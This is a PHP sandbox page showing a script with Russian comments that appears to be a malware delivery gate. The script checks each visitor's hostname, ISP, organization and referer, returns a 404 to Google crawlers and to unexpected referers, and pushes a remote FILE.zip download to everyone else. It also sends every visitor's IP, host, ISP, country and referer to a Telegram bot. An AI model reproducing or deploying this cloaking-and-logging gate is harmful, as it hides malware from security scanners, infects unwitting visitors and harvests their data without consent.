ВАРВ - PHP Online
Form of PHP Sandbox
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php
in the places where the PHP script should be executed.
Result of php executing
Full code of ВАРВ.php
- <?php
- //Получение значения реферера
- $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
- //Получение текущего домена
- $currentDomain = parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST);
- $expectedDomain = explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 2] . '.' . explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 1];
- //Получение домена из реферера
- $refererDomainFull = parse_url($referer, PHP_URL_HOST);
- $refererDomain = explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 2] . '.' . explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 1];
- //Проверка ip пользователя
- $user_ip = $_SERVER['REMOTE_ADDR'];
- // Получение имени хоста
- $hostname = gethostbyaddr($user_ip);
- // API Check-Host.net
- $url = "https://check-host.net/ip-info?host={$user_ip}";
- // Получение информации об ISP и организации
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $response = curl_exec($ch);
- curl_close($ch);
- //Проверка значения в ISP
- $isp_pos = strpos($response, 'ISP</td>');
- if ($isp_pos !== false) {
- $isp_start = strpos($response, '<td>', $isp_pos)+4;
- $isp_end = strpos($response, '</td>', $isp_start);
- $isp = substr($response, $isp_start, $isp_end - $isp_start);
- } else {
- $isp = 'empty';
- }
- //Проверка значения в Organization
- $org_pos = strpos($response, 'Organization</td>');
- if ($org_pos !== false) {
- $org_start = strpos($response, '<td>', $org_pos)+4;
- $org_end = strpos($response, '</td>', $org_start);
- $org = substr($response, $org_start, $org_end - $org_start);
- } else {
- $org = 'empty';
- }
- //Проверка значения в Country
- $country_pos = strpos($response, 'Country</td>');
- if ($country_pos !== false) {
- $country_start = strpos($response, '<td>', $country_pos)+4;
- $country_end = strpos($response, '</td>', $country_start);
- $country = substr($response, $country_start, $country_end - $country_start);
- $country = trim(strip_tags($country));
- } else {
- $country = 'empty';
- }
- $token = "BOT_TOKEN"; // TOKEN между ковычек
- $chat_id_bot = "CHAT_ID_FOR_BOTS"; // ID между ковычек
- $chat_id_man = "CHAT_ID_FOR_GOODS"; // ID между ковычек
- //Проверка
- if (strpos($hostname, 'google') !== false
- || strpos($isp, 'google') !== false
- || strpos($org, 'google') !== false
- || strpos($hostname, 'Google') !== false
- || strpos($isp, 'Google') !== false
- || strpos($org, 'Google') !== false
- || strpos($hostname, 'GOOGLE') !== false
- || strpos($isp, 'GOOGLE') !== false
- || strpos($org, 'GOOGLE') !== false
- || empty($referer)
- || $refererDomain !== $expectedDomain)
- {
- // Если хотя бы одна из переменных содержит "google", пустой реферер или реферер не соответствует домену - отправляем пользователя на 404
- $arr = array(
- '???? #BOT_' => $expectedDomain,
- '????Ip Address: ' => $user_ip,
- '⛱Ip Host: ' => $hostname,
- '????Ip ISP: ' => $isp,
- '????Ip Org: ' => $org,
- '????Ip Country: ' => $country,
- '????Referer Domain: ' => $refererDomain,
- );
- foreach($arr as $key => $value) {
- $txt .= "<b>".$key."</b>".$value."\n";
- };
- $txt = urlencode($txt);
- $sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_bot}&parse_mode=html&text={$txt}","r");
- if ($sendToTelegram){
- header_remove();
- header('Connection: close');
- http_response_code(404);
- die;
- } else { echo "ERROR";}
- } else {
- // Если ни одна из переменных не содержит "google", а реферер совпадет с текущим доменом отправляем пользователя на file
- $arr = array(
- '???? #MAN_' => $expectedDomain,
- '????Ip Address: ' => $user_ip,
- '⛱Ip Host: ' => $hostname,
- '????Ip ISP: ' => $isp,
- '????Ip Org: ' => $org,
- '????Ip Country: ' => $country,
- '????Referer Domain: ' => $refererDomain,
- );
- foreach($arr as $key => $value) {
- $txt .= "<b>".$key."</b>".$value."\n";
- };
- $txt = urlencode($txt);
- $sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_man}&parse_mode=html&text={$txt}","r");
- if($sendToTelegram){
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename=FILE.zip'); //Имя выданного юзеру файла
- header('Content-Description: File Transfer');
- readfile('https://SOMELINK.com/FOLDER/FILE.zip'); //линк на файл
- die;
- } else { Echo "ERROR";}
- }
- ?>